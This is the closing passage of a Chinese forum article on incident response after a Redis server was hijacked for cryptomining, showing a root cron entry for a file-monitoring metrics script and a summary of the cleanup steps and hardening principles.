* * * * * root /etc/cron.d/push_file_mtime.sh >/dev/null 2>&1
EOF
chmod 644 /etc/cron.d/push_exporter_metrics

风险提醒:写 /etc/cron.d/ 文件前要确保文件内容里有 user 字段(这里是 root),否则 cron 会拒绝执行;写完后要 ls -la 看权限,避免被挖矿脚本发现后清空。


15 总结

Redis 被挖矿是初中级运维必然会遇到一次的事故。这件事的本质不是“Redis 有漏洞”,而是“Redis 的默认配置 + 弱运维习惯 + 缺监控告警”共同造成的。

本文按一次真实事件的时间线,把“看到告警 → 主机隔离 → 取证 → 进程清理 → crontab 清理 → 启动项清理 → SSH 密钥清理 → Redis 排查 → 持久化文件排查 → 横向扩散 → rootkit → 决策清理 / 重装 → 临时恢复 → 加固 → 监控告警 → 复盘”全部展开。

应急响应的核心是“有序、可控、可复盘”:

  • 有序:知道下一步做什么,知道先做什么
  • 可控:每一步都有止损、回滚、备份机制
  • 可复盘:每一步都有截图、日志、命令输出

加固的核心是“最小暴露面 + 强认证 + 持续监控”:

  • 最小暴露面:bind 内网、安全组、ACL
  • 强认证:密码 + rename + ACL
  • 持续监控:连接数、CPU、内存、出口流量、文件变更

希望读完本文,你能在下一次收到 Redis 告警的时候,心里不慌、手上有招。

在云栈社区的 运维/DevOps/SRE 板块 里,你还能找到更多关于监控体系搭建、自动化运维脚本的实战分享,帮你把“事后应急”变成“事前防御”。




上一篇:Anthropic单季盈利5.59亿美元:OpenAI考虑下调Token价格应对用户争夺战
下一篇:Kali Linux 集成 Claude Code 与 DeepSeek 实现 AI 渗透测试实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-6-21 06:07 , Processed in 0.787234 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表